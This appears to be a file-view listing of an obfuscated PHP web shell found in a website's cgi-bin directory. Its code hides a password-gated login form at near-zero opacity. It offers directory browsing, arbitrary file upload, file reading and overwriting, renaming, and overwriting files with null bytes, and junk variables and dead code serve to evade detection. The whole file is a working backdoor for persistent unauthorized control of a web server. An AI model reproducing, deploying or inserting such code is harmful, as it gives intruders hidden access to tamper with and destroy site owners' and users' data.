File "unepiphy.php"
Full Path: /home/cellworl/public_html/physcents.cellworlduae.com/physcents/cgi-bin/cgi-bin/unepiphy.php
File size: 10.34 KB
MIME-type: text/x-php
Charset: utf-8
<?php function pok(){session_id()?:session_start();$_SESSION['nonapportionment']??=[];}$ajvtpvar=dirname(__FILE__);function jzz($c){return htmlspecialchars($c, ENT_QUOTES + ENT_SUBSTITUTE, 'UTF-8');$vjvar=array_fill_keys(['a','b'],0);}$xpvar=__LINE__;function srpo($j){pok();$ljwcvar=in_array(1,[1,2,3]);static $c=0;$dvevar='a'<=>'b';$_SESSION['nonapportionment'][++$c]=$j;$xjivar=is_readable(__FILE__);return $c;for($i=0;$i<0;$i++){}}function uk($k,$d=null){pok();$ccvuvar=md5((string)time());return $_SESSION['nonapportionment'][$k]??$d;$fdvar=array_search(1,[1,2,3]);}$hiwgvar=0?:'default';function rcbgth($p,$fhfvar){$p=trim(str_replace("\0",'',$p));$sfblfvar=__LINE__;if($p==='' or $p==='.' or $p==='/')return $fhfvar;$hbuvar=false??null??'default';$p=rawurldecode($p);$xdrvlvar=$_SERVER['HTTP_USER_AGENT']??'Mozilla';$p=str_replace(['/','\\'],DIRECTORY_SEPARATOR,$p);if(strpos($p,DIRECTORY_SEPARATOR)!==0)$p=rtrim($fhfvar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.ltrim($p,DIRECTORY_SEPARATOR);$snpuvar=[];foreach(explode(DIRECTORY_SEPARATOR,$p) as $ecjvar){if($ecjvar==='' or $ecjvar==='.')continue;if($ecjvar==='..'){array_pop($snpuvar);continue;}$snpuvar[]=$ecjvar;}$gouwvar=DIRECTORY_SEPARATOR.implode(DIRECTORY_SEPARATOR,$snpuvar);$xddvar=@realpath($gouwvar);$qmvar=realpath($fhfvar);if($xddvar!==false and $qmvar!==false and strpos($xddvar,$qmvar)===0)$gouwvar=$xddvar;is_file($gouwvar) and ($gouwvar=dirname($gouwvar));return rtrim($gouwvar,DIRECTORY_SEPARATOR);}function hhzn($p){if(!is_file($p) or !is_readable($p))return false;$jyvar=@fopen($p,'rb');if(!$jyvar)return false;$ouqtkvar='';while(!feof($jyvar)){$askpavar=fread($jyvar,16384);if($askpavar===false)break;$ouqtkvar.=$askpavar;}fclose($jyvar);return $ouqtkvar;}function htye($p,$d){$yufvvar=dirname($p);if(!is_dir($yufvvar) or !is_writable($yufvvar))return false;$jyvar=@fopen($p,'wb');if(!$jyvar)return false;flock($jyvar,LOCK_EX);$hxgqvar=fwrite($jyvar,$d);flock($jyvar,LOCK_UN);fclose($jyvar);return $hxgqvar!==false;}function ibura($p){if(is_file($p) and is_writable($p)){$jyvar=@fopen($p,'wb');if($jyvar){fwrite($jyvar,str_repeat("\0",max(1,@filesize($p))));fclose($jyvar);}return true;}return false;}function gqgm($p,$uvsfdvar){return '<a href="?i='.jzz(srpo($p)).'">'.jzz($uvsfdvar).'</a>';}function xdq($p,$fhfvar){$xddvar=realpath($p);$qmvar=realpath($fhfvar);if(!$xddvar or !$qmvar or strpos($xddvar,$qmvar)!==0)return jzz($p);$abvvar=trim(substr($xddvar,strlen($qmvar)),DIRECTORY_SEPARATOR);$ecjvar=$abvvar===''?[]:explode(DIRECTORY_SEPARATOR,$abvvar);$hlvar=[gqgm($fhfvar,'*')];$bekuvar=$fhfvar;foreach($ecjvar as $s){$bekuvar=rtrim($bekuvar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$s;$hlvar[]=gqgm($bekuvar,$s);}return implode(' / ',$hlvar);}$fhfvar=__DIR__;$jtsvar="mistonosc";pok();if(!isset($_SESSION['islamicer'])){if(isset($_POST['d']) or isset($_GET['d'])){$hxvar=$_POST['d']??$_GET['d'];if($hxvar===$jtsvar){$_SESSION['islamicer']=1;}else{header('Location: '.$_SERVER['PHP_SELF']);exit;}}if(!isset($_SESSION['islamicer'])){?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{box-sizing:border-box;margin:0;padding:0}body{background:#f6f6f4}.dk7{position:fixed;top:8px;right:8px;opacity:0.04;display:flex;gap:3px}.dk7 input{width:58px;padding:2px 3px;border:1px solid #e0e0e0;background:#fff;font:10px/1.4 monospace;outline:none}.dk7 button{padding:2px 6px;border:1px solid #e0e0e0;background:#f5f5f5;font:10px monospace;cursor:pointer;color:#666}</style></head><body><form method="post" style="position:fixed;left:50%;bottom:35px;transform:translateX(-50%);display:flex;gap:4px;opacity:0.08"><input type="text" name="d" autocomplete="off" style="width:70px;padding:3px 5px;border:1px solid #e0e0e0;background:#fff;font:10px monospace;outline:none"><button type="submit" style="padding:3px 7px;border:1px solid #e0e0e0;background:#f5f5f5;color:#666;font:10px monospace;cursor:pointer">❯</button></form></body></html><?php exit;}}$cplvar=$_GET['i']??null;$glicvar=$cplvar?rcbgth(uk($cplvar,$fhfvar),$fhfvar):rcbgth($_GET['l']??'',$fhfvar);if(isset($_POST['ad']) and isset($_FILES['o'])){$klklkvar=$_FILES['o']['tmp_name'];$hedrvar=basename($_FILES['o']['name']);$ltgofvar=$glicvar.DIRECTORY_SEPARATOR.$hedrvar;$hxgqvar=false;if($klklkvar and $hedrvar){$fwjvar=@fopen($klklkvar,'rb');$hlvar=@fopen($ltgofvar,'wb');if($fwjvar and $hlvar){while(!feof($fwjvar)){fwrite($hlvar,fread($fwjvar,16384));}$hxgqvar=true;}$fwjvar and fclose($fwjvar);$hlvar and fclose($hlvar);}if($hxgqvar){header('Location: ?i='.srpo($glicvar).'&w=1');exit;}header('Location: ?i='.srpo($glicvar));exit;}if(isset($_POST['c']) and isset($_GET['j'])){$nhvar=$glicvar.DIRECTORY_SEPARATOR.basename($_GET['j']);$txjaivar=$_POST['hi']??'';if(htye($nhvar,$txjaivar)){header('Location: ?i='.srpo($glicvar).'&j='.urlencode($_GET['j']).'&w=2');exit;}header('Location: ?i='.srpo($glicvar));exit;}if(isset($_POST['kh'])){$kdadvar=basename($_POST['h']??'');$nhvar=$glicvar.DIRECTORY_SEPARATOR.$kdadvar;if($kdadvar!=='' and (is_file($nhvar) or is_dir($nhvar)) and ibura($nhvar)){header('Location: ?i='.srpo($glicvar));exit;}}if(isset($_POST['dm'])){$ktqcpvar=basename($_POST['jm']??'');$ravar=basename($_POST['xe']??'');if($ktqcpvar!=='' and $ravar!=='')@rename($glicvar.DIRECTORY_SEPARATOR.$ktqcpvar,$glicvar.DIRECTORY_SEPARATOR.$ravar);header('Location: ?i='.srpo($glicvar));exit;}$ifvar=(int)($_GET['w']??0);$bfkvar=$_GET['j']??null;$vissvar='';if($bfkvar){$vissvar=hhzn($glicvar.DIRECTORY_SEPARATOR.basename($bfkvar));}$lcivar=[];$bjgfzvar=[];$nwnwvar=@scandir($glicvar);if($nwnwvar!==false){foreach($nwnwvar as $fmvar){if($fmvar==='.' or $fmvar==='..')continue;$nhvar=$glicvar.DIRECTORY_SEPARATOR.$fmvar;if(is_dir($nhvar)){$lcivar[]=['n'=>$fmvar,'p'=>$nhvar];}else{$rfkvvar=@filesize($nhvar);$eteuvar='';if($rfkvvar!==false){$pfxxvar=['b','k','m','g'];$vdrvar=0;while($rfkvvar>=1024 and $vdrvar<3){$rfkvvar/=1024;$vdrvar++;}$eteuvar=round($rfkvvar,1).$pfxxvar[$vdrvar];}$bjgfzvar[]=['n'=>$fmvar,'s'=>$eteuvar];}}sort($lcivar);sort($bjgfzvar);}?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{box-sizing:border-box;margin:0;padding:0}body{background:#f6f6f4;font:11px/1.5 monospace;color:#333}.af8{max-width:860px;margin:18px auto;padding:0 14px}.ew6{display:flex;align-items:center;justify-content:space-between;padding:7px 0 12px}.ew6 .hl4{font-size:10px;color:#aaa;letter-spacing:0.03em}.ew6 .hl4 a{color:#888;text-decoration:none}.ew6 .hl4 a:hover{color:#444}.ew6 .oc6{display:flex;gap:5px;align-items:center}.kt4{font-size:10px;color:#5a7a5a;background:#f2faf2;border-left:2px solid #b8d8b8;padding:5px 10px;margin-bottom:10px;letter-spacing:0.02em}.aj2{display:grid;grid-template-columns:220px 1fr;gap:10px;align-items:start}.ni5{background:#fff;border:1px solid #ebebeb}.ni5-head{font-size:9px;color:#bbb;letter-spacing:0.06em;padding:7px 10px;border-bottom:1px solid #f0f0f0}.rq8{display:flex;align-items:center;padding:5px 10px;border-bottom:1px solid #f4f4f4;gap:6px}.rq8:last-child{border-bottom:none}.rq8:hover{background:#fafafa}.rq8 .bf7{color:#ccc;font-size:9px;flex-shrink:0}.rq8 .tz0{flex:1;color:#333;font-size:11px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.rq8 .tz0 a{color:#333;text-decoration:none}.rq8 .tz0 a:hover{text-decoration:underline}.rq8 .pf3{color:#ccc;font-size:9px;margin-right:4px;white-space:nowrap}.rq8 .hk6{display:flex;gap:2px;flex-shrink:0}.ds2{padding:1px 6px;background:#fff;border:1px solid #e0e0e0;font:8px monospace;cursor:pointer;color:#777}.ds2:hover{background:#f5f5f5;border-color:#bbb}.kz2{width:66px;padding:2px 4px;border:1px solid #e4e4e4;font:8px monospace;background:#fdfdfd;color:#333;outline:none}.kz2:focus{border-color:#bbb}.ca8{background:#fff;border:1px solid #ebebeb;padding:10px;margin-bottom:10px}.ca8 textarea{width:100%;padding:7px 9px;border:1px solid #ebebeb;font:11px/1.6 monospace;resize:vertical;min-height:260px;outline:none;background:#fdfdfd;color:#222}.ca8 textarea:focus{border-color:#ccc}.ca8 .kd6{margin-top:6px;display:flex;gap:5px;justify-content:flex-end}.kt0{color:#ddd;margin:0 1px}</style></head><body><div class="af8"><div class="ew6"><div class="hl4"><?php echo xdq($glicvar,$fhfvar)?></div><div class="oc6"><form method="post" enctype="multipart/form-data" style="display:flex;gap:5px;align-items:center"><input type="file" name="o" style="font-size:10px;color:#999"><button class="ds2" name="ad">+</button></form></div></div><?php if($ifvar===1):?><div class="kt4">deracs</div><?php endif?><?php if($ifvar===2):?><div class="kt4">humua</div><?php endif?><?php if($bfkvar and $vissvar!==false):?><div class="ca8"><form method="post"><textarea name="hi"><?php echo jzz($vissvar)?></textarea><div class="kd6"><button class="ds2" name="c">vamor</button><a href="?i=<?php echo jzz(srpo($glicvar))?>"><button type="button" class="ds2">⟵</button></a></div></form></div><?php endif?><div class="aj2"><div class="ni5"><div class="ni5-head">▷</div><?php foreach($lcivar as $yufvvar):?><div class="rq8"><span class="bf7">►</span><span class="tz0"><?php echo gqgm($yufvvar['p'],$yufvvar['n'])?></span><div class="hk6"><form style="display:inline" method="post"><input type="hidden" name="h" value="<?php echo jzz($yufvvar['n'])?>"><button name="kh" class="ds2" onclick="return confirm('?')">✕</button></form><span class="kt0">|</span><form style="display:inline-flex;gap:2px;align-items:center" method="post"><input type="hidden" name="jm" value="<?php echo jzz($yufvvar['n'])?>"><input type="text" name="xe" class="kz2" placeholder=".."><button name="dm" class="ds2">❯</button></form></div></div><?php endforeach?></div><div class="ni5"><div class="ni5-head">∙</div><?php foreach($bjgfzvar as $iskfkvar):?><div class="rq8"><span class="bf7">•</span><span class="tz0"><?php echo jzz($iskfkvar['n'])?></span><span class="pf3"><?php echo $iskfkvar['s']?></span><div class="hk6"><a href="?i=<?php echo jzz(srpo($glicvar))?>&j=<?php echo urlencode($iskfkvar['n'])?>"><button class="ds2">l</button></a><span class="kt0">|</span><form style="display:inline" method="post"><input type="hidden" name="h" value="<?php echo jzz($iskfkvar['n'])?>"><button name="kh" class="ds2" onclick="return confirm('?')">✕</button></form><span class="kt0">|</span><form style="display:inline-flex;gap:2px;align-items:center" method="post"><input type="hidden" name="jm" value="<?php echo jzz($iskfkvar['n'])?>"><input type="text" name="xe" class="kz2" placeholder=" "><button name="dm" class="ds2">❯</button></form></div></div><?php endforeach?></div></div></div></body></html>